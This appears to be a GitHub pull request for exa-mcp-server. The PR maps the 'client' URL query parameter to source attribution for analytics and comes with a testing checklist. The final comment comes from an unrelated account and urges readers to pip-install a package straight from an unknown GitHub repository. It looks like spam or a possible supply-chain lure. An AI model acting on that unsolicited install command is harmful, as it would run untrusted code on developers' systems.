[mcp]: use client query param for source attribution

[tgonzalezc5]

Summary

• Treat the hosted MCP client query parameter as exaSource when x-exa-source is absent.
• This lets URLs like https://mcp.exa.ai/mcp?client=kiro-power flow into downstream x-exa-integration values like web-search-mcp:kiro-power for analytics attribution.
• Added unit coverage for ?client=kiro-power source propagation.

Review & Testing Checklist for Human

• Verify the hosted MCP deployment uses this handler for https://mcp.exa.ai/mcp?client=kiro-power.
• After deploy, confirm a Kiro tool call writes integration_header with the :kiro-power suffix in default.integration_fields.

Notes

• Local checks: npm run ci passed.
• Related dashboard PR: adds Kiro display/filtering in github.com/exa-labs/monorepo.

Link to Devin session: https://app.devin.ai/sessions/3314dfa1253d47c7a6ba8a99556aa372
Requested by: @tgonzalezc5

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Project	Deployment	Actions	Updated (UTC)
exa-mcp-server	Ready	Preview, Comment	May 22, 2026 7:09pm

[Marsssssssssssdsss]

Hi team, saw your ?client=kiro-power approach — we can help with that.

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pip install git+https://github.com/Marsssssssssssdsss/nexus6-sdk.git#subdirectory=python

Full guide: https://github.com/Marsssssssssssdsss/nexus6-sdk